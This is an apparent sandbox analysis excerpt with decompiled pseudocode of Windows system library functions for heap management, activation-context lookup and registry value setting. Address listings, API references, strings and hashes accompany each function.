						if(_t211 <  *((intOrPtr*)(_t252 + 4))) {
							L15:
							_t185 = _t211;
							goto L17;
						} else {
							while(1) {
								_t187 =  *_t252;
								if(_t187 == 0) {
									_t185 =  *((intOrPtr*)(_t252 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t252 + 4)) - 1;
									goto L17;
								}
								_t252 = _t187;
								if(_t211 >=  *((intOrPtr*)(_t252 + 4))) {
									continue;
								}
								goto L15;
							}
							while(1) {
								L17:
								_t212 = E6A93AB40(_t206, _t252, 1, _t185, _t211);
								if(_t212 != 0) {
									_t146 = _t206 + 0xc0;
									break;
								}
								_t252 =  *_t252;
								_t211 = _v20;
								_t185 =  *(_t252 + 0x14);
							}
							L19:
							if(_t146 != _t212) {
								_t237 =  *(_t206 + 0x4c);
								_t253 = _v20;
								while(1) {
									__eflags = _t237;
									if(_t237 == 0) {
										_t147 =  *(_t212 - 8) & 0x0000ffff;
									} else {
										_t184 =  *(_t212 - 8);
										_t237 =  *(_t206 + 0x4c);
										__eflags = _t184 & _t237;
										if((_t184 & _t237) != 0) {
											_t184 = _t184 ^  *(_t206 + 0x50);
											__eflags = _t184;
										}
										_t147 = _t184 & 0x0000ffff;
									}
									__eflags = _t253 - (_t147 & 0x0000ffff);
									if(_t253 <= (_t147 & 0x0000ffff)) {
										goto L20;
									}
									_t212 =  *_t212;
									__eflags = _t206 + 0xc0 - _t212;
									if(_t206 + 0xc0 != _t212) {
										continue;
									} else {
										goto L20;
									}
									goto L56;
								}
							}
							L20:
							_t149 =  *((intOrPtr*)(_t212 + 4));
							_t33 = _t256 + 8; // -16
							_t238 = _t33;
							_t254 =  *_t149;
							if( *_t149 != _t212) {
								_push(_t212);
								E6A9DA80D(0, _t212, 0, _t254);
							} else {
								 *_t238 = _t212;
								 *((intOrPtr*)(_t238 + 4)) = _t149;
								 *_t149 = _t238;
								 *((intOrPtr*)(_t212 + 4)) = _t238;
							}
							 *((intOrPtr*)(_t206 + 0x74)) =  *((intOrPtr*)(_t206 + 0x74)) + ( *_t256 & 0x0000ffff);
							_t255 =  *((intOrPtr*)(_t206 + 0xb4));
							if(_t255 == 0) {
								L36:
								if( *(_t206 + 0x4c) != 0) {
									 *(_t256 + 3) =  *(_t256 + 1) ^  *(_t256 + 2) ^  *_t256;
									 *_t256 =  *_t256 ^  *(_t206 + 0x50);
								}
								_t210 = _v48;
								_t251 = _v12 & 0x0000ffff;
								_t131 = _v20;
								_t235 = _v24 - _t131;
								_v24 = _t235;
								_t256 = _t256 + _t131 * 8;
								if(_t256 >=  *((intOrPtr*)(_t210 + 0x28))) {
									goto L41;
								} else {
									goto L39;
								}
							} else {
								_t216 =  *_t256 & 0x0000ffff;
								_v28 = _t216;
								if(_t216 <  *((intOrPtr*)(_t255 + 4))) {
									L28:
									_t242 = _t216 -  *((intOrPtr*)(_t255 + 0x14));
									_v32 = _t242;
									if( *((intOrPtr*)(_t255 + 8)) != 0) {
										_t167 = _t242 + _t242;
									} else {
										_t167 = _t242;
									}
									 *((intOrPtr*)(_t255 + 0xc)) =  *((intOrPtr*)(_t255 + 0xc)) + 1;
									_t168 = _t167 << 2;
									_v40 = _t168;
									_t206 = _v44;
									_v16 =  *((intOrPtr*)(_t168 +  *((intOrPtr*)(_t255 + 0x20))));
									if(_t216 ==  *((intOrPtr*)(_t255 + 4)) - 1) {
										 *((intOrPtr*)(_t255 + 0x10)) =  *((intOrPtr*)(_t255 + 0x10)) + 1;
									}
									_t217 = _v16;
									if(_t217 != 0) {
										_t173 = _t217 - 8;
										_v52 = _t173;
										_t174 =  *_t173;
										__eflags =  *(_t206 + 0x4c);
										if( *(_t206 + 0x4c) != 0) {
											_t245 =  *(_t206 + 0x50) ^ _t174;
											_v36 = _t245;
											_t225 = _t245 >> 0x00000010 ^ _t245 >> 0x00000008 ^ _t245;
											__eflags = _t245 >> 0x18 - _t225;
											if(_t245 >> 0x18 != _t225) {
												_push(_t225);
												E6A9DA80D(_t206, _v52, 0, 0);
											}
											_t174 = _v36;
											_t217 = _v16;
											_t242 = _v32;
										}
										_v28 = _v28 - (_t174 & 0x0000ffff);
										__eflags = _v28;
										if(_v28 > 0) {
											goto L34;
										} else {
											goto L33;
										}
									} else {
										L33:
										_t58 = _t256 + 8; // -16
										 *((intOrPtr*)(_v40 +  *((intOrPtr*)(_t255 + 0x20)))) = _t58;
										_t206 = _v44;
										_t217 = _v16;
										L34:
										if(_t217 == 0) {
											asm("bts eax, edx");
										}
										goto L36;
									}
								} else {
									goto L24;
								}
								while(1) {
									L24:
									_t182 =  *_t255;
									if(_t182 == 0) {
										_t216 =  *((intOrPtr*)(_t255 + 4)) - 1;
										__eflags = _t216;
										goto L28;
									}
									_t255 = _t182;
									if(_t216 >=  *((intOrPtr*)(_t255 + 4))) {
										continue;
									} else {
										goto L28;
									}
								}
								goto L28;
							}
						}
					}
					L39:
				} while (_t235 != 0);
				_t214 = _v12;
				_t131 =  *(_t206 + 0x54) ^ _t214;
				 *(_t256 + 4) = _t131;
				if(_t214 == 0) {
					__eflags =  *0x6aa08748 - 1;
					if( *0x6aa08748 >= 1) {
						_t131 = _t256 + 0x00000fff & 0xfffff000;
						__eflags = _t131 - _t256;
						if(_t131 != _t256) {
							_t156 =  *[fs:0x30];
							__eflags =  *(_t156 + 0xc);
							if( *(_t156 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock");
							_t131 = E6A91B150();
							__eflags =  *0x6aa07bc8;
							if(__eflags == 0) {
								_t131 = E6A9D2073(_t206, 1, _t251, __eflags);
							}
						}
					}
				}
				goto L41;
			}

0x6a93a83a
0x6a93a83c
0x6a93a83e
0x6a93a841
0x6a93a844
0x6a93a84a
0x6a93aa53
0x6a93aa59
0x6a93aa59
0x6a93a858
0x6a93a85e
0x6a93aaf5
0x6a93aafc
0x6a98229e
0x6a9822a2
0x6a9822a8
0x6a9822b3
0x6a9822b5
0x6a9822bb
0x6a9822c1
0x6a9822c5
0x6a9822e6
0x6a9822eb
0x6a9822f0
0x6a9822c7
0x6a9822dc
0x6a9822e1
0x6a9822e1
0x6a9822f3
0x6a9822f8
0x6a9822fd
0x6a982300
0x6a982307
0x6a98230e
0x6a98230e
0x6a982313
0x6a982313
0x6a9822b5
0x6a9822a2
0x6a93aafc
0x6a93a864
0x6a93a869
0x6a93aa5c
0x6a93aa5e
0x6a93a86f
0x6a93a87f
0x6a93a885
0x6a93a885
0x6a93a88b
0x6a93a890
0x6a93a896
0x6a93ab0c
0x6a93ab0f
0x6a93ab15
0x6a982320
0x6a982320
0x6a93ab1b
0x6a93a89c
0x6a93a89f
0x6a93a8a2
0x6a93a8a2
0x6a93a8a5
0x6a93a8af
0x6a93a8b3
0x6a93a8b8
0x6a93aa66
0x6a93a8be
0x6a93a8c5
0x6a93a8c6
0x6a93a8ce
0x6a982328
0x6a982332
0x6a982337
0x6a982337
0x6a93a8ce
0x6a93a8d4
0x6a93a8d8
0x6a93a8db
0x6a93a8de
0x6a93a8e1
0x6a93a8e5
0x6a93a8e8
0x6a93a8f0
0x6a93a8f3
0x6a98234c
0x6a982350
0x6a982355
0x6a982359
0x6a982359
0x6a93a8f9
0x6a93a901
0x6a93aae4
0x6a93aae4
0x6a93aaea
0x00000000
0x6a93a907
0x6a93a90a
0x6a93a91d
0x6a93a91d
0x00000000
0x6a93a910
0x6a93a910
0x6a93a910
0x6a93a914
0x6a93a924
0x6a93a924
0x6a93a924
0x6a93a924
0x6a93a916
0x6a93a91b
0x00000000
0x00000000
0x00000000
0x6a93a91b
0x6a93a925
0x6a93a925
0x6a93a932
0x6a93a936
0x6a93a93c
0x6a93a93c
0x6a93a93c
0x6a93ab22
0x6a93ab24
0x6a93ab27
0x6a93ab27
0x6a93a942
0x6a93a944
0x6a93aaba
0x6a93aabd
0x6a93aac0
0x6a93aac0
0x6a93aac2
0x6a93ab2f
0x6a93aac4
0x6a93aac4
0x6a93aac7
0x6a93aaca
0x6a93aacc
0x6a93aace
0x6a93aace
0x6a93aace
0x6a93aad1
0x6a93aad1
0x6a93aad7
0x6a93aad9
0x00000000
0x00000000
0x6a982361
0x6a982369
0x6a98236b
0x00000000
0x6a982371
0x00000000
0x6a982371
0x00000000
0x6a98236b
0x6a93aac0
0x6a93a94a
0x6a93a94a
0x6a93a94d
0x6a93a94d
0x6a93a950
0x6a93a954
0x6a982376
0x6a982380
0x6a93a95a
0x6a93a95a
0x6a93a95c
0x6a93a95f
0x6a93a961
0x6a93a961
0x6a93a967
0x6a93a96a
0x6a93a972
0x6a93aa02
0x6a93aa06
0x6a93aa10
0x6a93aa16
0x6a93aa16
0x6a93aa1b
0x6a93aa21
0x6a93aa24
0x6a93aa27
0x6a93aa29
0x6a93aa2c
0x6a93aa32
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93a978
0x6a93a978
0x6a93a97b
0x6a93a981
0x6a93a996
0x6a93a998
0x6a93a99f
0x6a93a9a2
0x6a98238a
0x6a93a9a8
0x6a93a9a8
0x6a93a9a8
0x6a93a9aa
0x6a93a9ad
0x6a93a9b0
0x6a93a9bb
0x6a93a9be
0x6a93a9c7
0x6a93a9c9
0x6a93a9c9
0x6a93a9cc
0x6a93a9d1
0x6a93aa6d
0x6a93aa70
0x6a93aa73
0x6a93aa75
0x6a93aa79
0x6a93aa7e
0x6a93aa82
0x6a93aa8f
0x6a93aa94
0x6a93aa96
0x6a982392
0x6a9823a1
0x6a9823a1
0x6a93aa9c
0x6a93aa9f
0x6a93aaa2
0x6a93aaa2
0x6a93aaa8
0x6a93aaab
0x6a93aaaf
0x00000000
0x6a93aab5
0x00000000
0x6a93aab5
0x6a93a9d7
0x6a93a9d7
0x6a93a9da
0x6a93a9e0
0x6a93a9e3
0x6a93a9e6
0x6a93a9e9
0x6a93a9eb
0x6a93a9fd
0x6a93a9fd
0x00000000
0x6a93a9eb
0x00000000
0x00000000
0x00000000
0x6a93a983
0x6a93a983
0x6a93a983
0x6a93a987
0x6a93a995
0x6a93a995
0x6a93a995
0x6a93a995
0x6a93a989
0x6a93a98e
0x00000000
0x6a93a990
0x00000000
0x6a93a990
0x6a93a98e
0x00000000
0x6a93a983
0x6a93a972
0x6a93a90a
0x6a93aa34
0x6a93aa34
0x6a93aa40
0x6a93aa43
0x6a93aa46
0x6a93aa4d
0x6a9823ab
0x6a9823b2
0x6a9823be
0x6a9823c3
0x6a9823c5
0x6a9823cb
0x6a9823d1
0x6a9823d5
0x6a9823f6
0x6a9823fb
0x6a9823d7
0x6a9823ec
0x6a9823f1
0x6a982403
0x6a982408
0x6a982410
0x6a982417
0x6a982422
0x6a982422
0x6a982417
0x6a9823c5
0x6a9823b2
0x00000000

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000018,?,?,?,?,?,?,?,?,?,6A93A3D0,?,?,-00000018), ref: 6A9822DC
DbgPrint.1105(((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)),?,?,?,?,?,?,?,?,6A93A3D0,?,?,-00000018,?), ref: 6A9822F8

Strings

HEAP: , xrefs: 6A9822E6, 6A9823F6
HEAP[%wZ]: , xrefs: 6A9822D7, 6A9823E7
((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock)), xrefs: 6A9822F3
ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock, xrefs: 6A982403

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: ((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))$HEAP: $HEAP[%wZ]: $ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock
API String ID: 3558298466-1657114761
Opcode ID: 13561b94e766b80eeae95353bc491cd8738967609e996eebc90ba6c1c095f5cd
Instruction ID: c540bb0ee439decfaa74a5a4c4dedaf48c77664d5173feb9ba16412e2c62a08e
Opcode Fuzzy Hash: 13561b94e766b80eeae95353bc491cd8738967609e996eebc90ba6c1c095f5cd
Instruction Fuzzy Hash: C0D103706046559FDB18CF68C490B6AB7F6FF49304F228569D8A6DBB42EB32E841CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A94C707, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 251
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A94C707(signed char __ecx, void __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, void** _a16) {
				signed int _v8;
				char _v532;
				void* _v536;
				signed int _v540;
				void* _v544;
				short _v546;
				void* _v548;
				long _v552;
				signed int* _v556;
				signed int* _v560;
				void** _v564;
				void* _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t97;
				intOrPtr _t98;
				void _t105;
				signed int _t106;
				void** _t108;
				signed int _t109;
				void* _t114;
				void _t120;
				intOrPtr _t121;
				void* _t122;
				void* _t129;
				void* _t130;
				void* _t132;
				signed short _t140;
				void* _t143;
				void* _t148;
				int _t150;
				signed int _t155;

				_t142 = __edx;
				_v8 =  *0x6aa0d360 ^ _t155;
				_v556 = _a12;
				_t129 =  &_v532;
				_v560 = _a8;
				_t148 = 0;
				_v564 = _a16;
				_t143 = 0;
				_v540 = __ecx;
				_t132 = 0;
				_v532 = 0;
				_v548 = _v548 & 0;
				_v548 = 0;
				_t97 = 2;
				_v546 = _t97;
				_t98 = _a4;
				_v536 = 0;
				_v552 = 0;
				_v544 = _t129;
				if(_t98 == 0x6a8f127c) {
					E6A9A5720(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t149 = 0xc000000d;
					L21:
					return E6A95B640(_t149, _t129, _v8 ^ _t155, _t142, _t143, _t149);
				}
				if(_v560 != 0) {
					 *_v560 =  *_v560 & 0;
					_t148 = 0;
				}
				if(_v556 != _t132) {
					 *_v556 =  *_v556 & _t132;
					_t148 = _t132;
				}
				if(_v564 != _t132) {
					 *_v564 =  *_v564 & _t143;
					_t132 = _t143;
				}
				if((_v540 & 0xfffffffc) != 0 || _t142 == 0 || _v560 == _t143 || _v556 == _t143) {
					_push(_v556);
					_push(_v560);
					_push(_t142);
					_push(_v540);
					E6A9A5720(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags                : 0x%lx\nSXS:    Peb                  : %p\nSXS:    ActivationContextData: %p\nSXS:    AssemblyStorageMap   : %p\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t149 = 0xc000000d;
					goto L19;
				} else {
					if(_t98 == 0) {
						L22:
						if(_t98 == 0xfffffffc || (_v540 & 0x00000002) != 0) {
							L24:
							_t43 = _t142 + 0x200; // 0x230
							_t132 = _t43;
							_t105 =  *_t132;
							_t44 = _t142 + 0x204; // 0x234
							_t148 = _t44;
							_v536 = _t132;
							_v552 = _t148;
							if(_t105 == 0) {
								goto L33;
							}
							_t143 =  *((intOrPtr*)(_t105 + 0x18)) + _t105;
							goto L26;
						} else {
							if(_t98 != 0) {
								if((_v540 & 0x00000001) == 0) {
									L26:
									_t142 = 0;
									if( *_t132 == 0 ||  *_t148 != 0) {
										L33:
										_t106 =  *_t148;
										L16:
										_t142 = _v556;
										 *_v556 = _t106;
										 *_v560 =  *_t132;
										_t108 = _v564;
										if(_t108 != 0) {
											 *_t108 = _t143;
										}
										_t149 = 0;
										goto L19;
									} else {
										_t109 =  *(_t143 + 8);
										if(_t109 > 0x3ffffffc) {
											_t149 = 0xc0000095;
											L19:
											if(_t129 != 0 && _t129 !=  &_v532) {
												RtlFreeUnicodeString( &_v548);
											}
											goto L21;
										}
										_t130 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0xc + _t109 * 4);
										if(_t130 == 0) {
											_t149 = 0xc0000017;
											L51:
											_t129 = _v544;
											goto L19;
										}
										_t142 =  *(_t143 + 8);
										_t53 = _t130 + 0xc; // 0xc
										_t114 = E6A94D4B0(_t130,  *(_t143 + 8), _t53);
										_t149 = _t114;
										if(_t114 < 0) {
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t130);
											goto L51;
										}
										_t148 = _v552;
										asm("lock cmpxchg [esi], ecx");
										if(0 != 0) {
											E6A9170C0(_t130);
											RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t130);
										}
										_t132 = _v536;
										_t129 = _v544;
										goto L33;
									}
								}
							}
							_t57 = _t142 + 0x1f8; // 0x228
							_t132 = _t57;
							_t120 =  *_t132;
							_t58 = _t142 + 0x1fc; // 0x22c
							_t148 = _t58;
							_v536 = _t132;
							_v552 = _t148;
							if(_t120 == 0) {
								goto L33;
							}
							_t143 =  *((intOrPtr*)(_t120 + 0x18)) + _t120;
							_v568 = _t143;
							if( *_t148 != 0) {
								goto L26;
							}
							_t121 =  *((intOrPtr*)(_t142 + 0x10));
							_t142 = 0x208;
							_t140 =  *(_t121 + 0x38);
							_t143 =  *(_t121 + 0x3c);
							_t150 = _t140 & 0x0000ffff;
							_v540 = _t140;
							_t67 = _t150 + 0xe; // 0x23a
							_t122 = _t67;
							if(_t122 > 0x208) {
								if(_t122 <= 0xfffe) {
									_t81 = _t140 + 0xe; // 0x6a926175
									_v546 = _t81;
									_t129 = E6A933A1C(_t81 & 0x0000ffff);
									_v544 = _t129;
									if(_t129 != 0) {
										L39:
										memcpy(_t129, _t143, _t150);
										_t132 = _v536;
										_v548 = _v540 + 0xc;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsw");
										_t143 = _v568;
										_t148 = _v552;
										goto L26;
									}
									_t149 = 0xc0000017;
									goto L21;
								}
								_t149 = 0xc0000106;
								goto L21;
							}
							_t129 =  &_v532;
							_v546 = 0x208;
							_v544 = _t129;
							goto L39;
						}
					}
					if(_t98 == 0xfffffffc) {
						goto L24;
					}
					if((_v540 & 0x00000003) != 0) {
						goto L22;
					}
					_t33 = _t98 + 0x10; // 0x10
					_t132 = _t33;
					_t142 =  *_t132;
					if(_t142 == 0) {
						_t149 = 0xc00000e5;
						goto L21;
					}
					_t143 =  *((intOrPtr*)(_t142 + 0x18)) + _t142;
					_t106 = _t98 + 0x5c;
					goto L16;
				}
			}

0x6a94c707
0x6a94c719
0x6a94c720
0x6a94c726
0x6a94c730
0x6a94c736
0x6a94c73c
0x6a94c742
0x6a94c746
0x6a94c74c
0x6a94c74e
0x6a94c755
0x6a94c75b
0x6a94c764
0x6a94c765
0x6a94c76c
0x6a94c76f
0x6a94c775
0x6a94c77b
0x6a94c786
0x6a98a7ef
0x6a98a7f7
0x6a94c84b
0x6a94c85d
0x6a94c85d
0x6a94c792
0x6a94c79a
0x6a94c79c
0x6a94c79c
0x6a94c7a4
0x6a94c7ac
0x6a94c7ae
0x6a94c7ae
0x6a94c7b6
0x6a94c7be
0x6a94c7c0
0x6a94c7c0
0x6a94c7cc
0x6a98a8a6
0x6a98a8ac
0x6a98a8b2
0x6a98a8b3
0x6a98a8c7
0x6a98a8cf
0x00000000
0x6a94c7f2
0x6a94c7f4
0x6a94c860
0x6a94c863
0x6a94c872
0x6a94c872
0x6a94c872
0x6a94c878
0x6a94c87a
0x6a94c87a
0x6a94c880
0x6a94c886
0x6a94c88e
0x00000000
0x00000000
0x6a94c893
0x00000000
0x6a94c90f
0x6a94c911
0x6a98a812
0x6a94c895
0x6a94c895
0x6a94c899
0x6a94c908
0x6a94c908
0x6a94c819
0x6a94c819
0x6a94c81f
0x6a94c829
0x6a94c82b
0x6a94c833
0x6a94c835
0x6a94c835
0x6a94c837
0x00000000
0x6a94c89f
0x6a94c89f
0x6a94c8a7
0x6a98a85b
0x6a94c839
0x6a94c83b
0x6a98a8e0
0x6a98a8e0
0x00000000
0x6a94c83b
0x6a94c8c4
0x6a94c8c8
0x6a98a865
0x6a98a87e
0x6a98a87e
0x00000000
0x6a98a87e
0x6a94c8ce
0x6a94c8d1
0x6a94c8d7
0x6a94c8dc
0x6a94c8e0
0x6a98a879
0x00000000
0x6a98a879
0x6a94c8e6
0x6a94c8f0
0x6a94c8f6
0x6a98a88b
0x6a98a89c
0x6a98a89c
0x6a94c8fc
0x6a94c902
0x00000000
0x6a94c902
0x6a94c899
0x6a98a818
0x6a94c917
0x6a94c917
0x6a94c91d
0x6a94c91f
0x6a94c91f
0x6a94c925
0x6a94c92b
0x6a94c933
0x00000000
0x00000000
0x6a94c938
0x6a94c93d
0x6a94c943
0x00000000
0x00000000
0x6a94c949
0x6a94c94c
0x6a94c951
0x6a94c954
0x6a94c957
0x6a94c95a
0x6a94c960
0x6a94c960
0x6a94c965
0x6a98a822
0x6a98a82e
0x6a98a831
0x6a98a841
0x6a98a843
0x6a98a84b
0x6a94c97e
0x6a94c981
0x6a94c994
0x6a94c99a
0x6a94c9a9
0x6a94c9aa
0x6a94c9ab
0x6a94c9ac
0x6a94c9ae
0x6a94c9b4
0x00000000
0x6a94c9b4
0x6a98a851
0x00000000
0x6a98a851
0x6a98a824
0x00000000
0x6a98a824
0x6a94c96b
0x6a94c971
0x6a94c978
0x00000000
0x6a94c978
0x6a94c863
0x6a94c7f9
0x00000000
0x00000000
0x6a94c802
0x00000000
0x00000000
0x6a94c804
0x6a94c804
0x6a94c807
0x6a94c80b
0x6a98a801
0x00000000
0x6a98a801
0x6a94c814
0x6a94c816
0x00000000
0x6a94c816

APIs

RtlAllocateHeap.1105(?,00000000,?,?,?,00000002), ref: 6A94C8BF
memcpy.1105(00000000,?,0000022C,E850CF8B,?,?,00000002), ref: 6A94C981
DbgPrintEx.1105(00000033,00000000,SXS: %s() passed the empty activation context,RtlpGetActivationContextDataStorageMapAndRosterHeader,?,?,00000002), ref: 6A98A7EF

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 6A98A8BE
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 6A98A7E1, 6A98A8B9
.Local, xrefs: 6A94C9A4
SXS: %s() passed the empty activation context, xrefs: 6A98A7E6

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapPrintmemcpy
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 3847278171-1239276146
Opcode ID: b619964fa3bdd4fdc63b207aeea32493c1e2e9995a524b1bcd2d3cd4ec6a089e
Instruction ID: 02b95f3f37d86dbd6bf261d64c4649398db952cbd541d61433dcecb585ebae4d
Opcode Fuzzy Hash: b619964fa3bdd4fdc63b207aeea32493c1e2e9995a524b1bcd2d3cd4ec6a089e
Instruction Fuzzy Hash: EDA19E719412299FDB24CF54CC88B99B3B5EF58314F2245E9D818AB391DB30EE85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A950F48, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 188
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6A950F48(signed short* __ecx, long* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed short* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed short _v36;
				signed int _v40;
				long* _v48;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				intOrPtr _v60;
				void* _v64;
				void* _t60;
				void* _t66;
				void* _t69;
				void* _t72;
				intOrPtr _t87;
				char _t93;
				signed int* _t95;
				intOrPtr _t97;
				signed int _t101;
				intOrPtr _t104;
				signed int _t107;
				signed short _t109;
				char _t110;
				intOrPtr _t111;
				intOrPtr* _t114;
				intOrPtr _t116;
				void* _t117;
				signed int _t118;
				void* _t120;

				_t120 = (_t118 & 0xfffffff8) - 0x3c;
				_v48 = __edx;
				_t87 = _a4;
				 *_a8 = 0;
				_t107 =  *__ecx & 0x0000ffff;
				_v52 = 0;
				_v56 = 0;
				_v57 = 0;
				_t101 = _t107;
				_t114 = __ecx[2] + _t101;
				_v40 = __ecx;
				if(_t87 != 0) {
					if(_t101 + 2 > (__ecx[1] & 0x0000ffff)) {
						L28:
						_t60 = 0xc000000d;
						goto L16;
					}
					_t93 = 0;
					if( *_t114 == 0) {
						goto L2;
					}
					goto L28;
				} else {
					_t93 = 0;
					L2:
					if(_t101 == 0) {
						L7:
						_t109 = _t107 - _t101;
						_v32 = _t114;
						_v36 = _t109;
						if((_t109 & 0x0000ffff) != _t109) {
							_t60 = 0xc0000023;
							L16:
							return _t60;
						}
						if(_t87 != 0) {
							_t116 = _v48;
							_v58 = 1;
							_t60 = E6A9510D7( &_v52, _t116, _t87);
						} else {
							_v58 = _t93;
							_t60 = E6A95108B( &_v52);
							_t116 = _v48;
						}
						if(_t60 < 0) {
							goto L16;
						} else {
							_t110 = _v52;
							_v20 =  &_v36;
							_v28 = 0x18;
							_v24 = _t110;
							_v16 = 0x240;
							_v12 = 0;
							_v8 = 0;
							if(_t87 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6A9596D0();
							} else {
								_push( &_v28);
								_push(_t116);
								_push( &_v56);
								_t66 = E6A959600();
							}
							_t117 = _t66;
							if(_v58 != 0) {
								_push(_t110);
								E6A9595D0();
							}
							if(_t117 >= 0) {
								_t95 =  &_v52;
								_v52 = _v56;
								_t69 = E6A918239(_t95, _v48, _v40);
								_t111 = _v56;
								_t117 = _t69;
								if(_t117 < 0) {
									L24:
									if(_t111 != 0) {
										_push(_t111);
										E6A9595D0();
									}
									goto L15;
								}
								_t104 = _v56;
								if(_v57 != 0 && _t111 == _t104 && _t87 != 0) {
									_push(_t95);
									_v52 = 0;
									_t72 = E6A9A8372( &_v52, _t104, _v48);
									_t111 = _v60;
									_t117 = _t72;
									if(_t117 >= 0) {
										_t117 = E6A926D30( &_v52, L"FilterFullPath");
										if(_t117 >= 0) {
											_t97 =  *((intOrPtr*)(_t120 + 0x24));
											_push( *(_t97 + 2) & 0x0000ffff);
											_push( *((intOrPtr*)(_t97 + 4)));
											_push(1);
											_push(0);
											_push( &_v52);
											_push(_t111);
											_t117 = E6A959B00();
											if(_t117 >= 0) {
												 *((intOrPtr*)(_t120 + 0x28)) = 1;
												_t117 = E6A926D30( &_v52, L"UseFilter");
												if(_t117 >= 0) {
													_push(4);
													_push(_t120 + 0x28);
													_push(4);
													_push(0);
													_push( &_v52);
													_push(_v60);
													_t117 = E6A959B00();
												}
											}
										}
									}
									_push(_v60);
									E6A9595D0();
								}
								if(_t117 < 0) {
									goto L24;
								} else {
									 *_a8 = _t111;
									goto L15;
								}
							} else {
								L15:
								_t60 = _t117;
								goto L16;
							}
						}
					}
					L3:
					L3:
					if( *((short*)(_t114 - 2)) == 0x5c) {
						_v57 = 1;
					} else {
						goto L4;
					}
					goto L7;
					L4:
					_t114 = _t114 + 0xfffffffe;
					_t101 = _t101;
					if(_t101 != 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
			}

0x6a950f50
0x6a950f55
0x6a950f5f
0x6a950f63
0x6a950f69
0x6a950f6c
0x6a950f70
0x6a950f74
0x6a950f78
0x6a950f7a
0x6a950f7c
0x6a950f82
0x6a98cc82
0x6a98cc8f
0x6a98cc8f
0x00000000
0x6a98cc8f
0x6a98cc84
0x6a98cc89
0x00000000
0x00000000
0x00000000
0x6a950f88
0x6a950f88
0x6a950f8a
0x6a950f8c
0x6a950fa5
0x6a950fa5
0x6a950fa7
0x6a950fae
0x6a950fb5
0x6a98cc99
0x6a951029
0x6a95102f
0x6a95102f
0x6a950fbd
0x6a98cca3
0x6a98ccae
0x6a98ccb3
0x6a950fc3
0x6a950fc3
0x6a950fcb
0x6a950fd0
0x6a950fd0
0x6a950fd6
0x00000000
0x6a950fd8
0x6a950fd8
0x6a950fe0
0x6a950fe6
0x6a950fee
0x6a950ff2
0x6a950ffa
0x6a950ffe
0x6a951004
0x6a98ccbd
0x6a98ccbe
0x6a98ccbf
0x6a98ccc0
0x6a98ccc5
0x6a98ccc6
0x6a98cccb
0x6a98cccc
0x6a95100a
0x6a95100e
0x6a95100f
0x6a951014
0x6a951015
0x6a951015
0x6a95101f
0x6a951021
0x6a951077
0x6a951078
0x6a951078
0x6a951025
0x6a951036
0x6a951042
0x6a951046
0x6a95104b
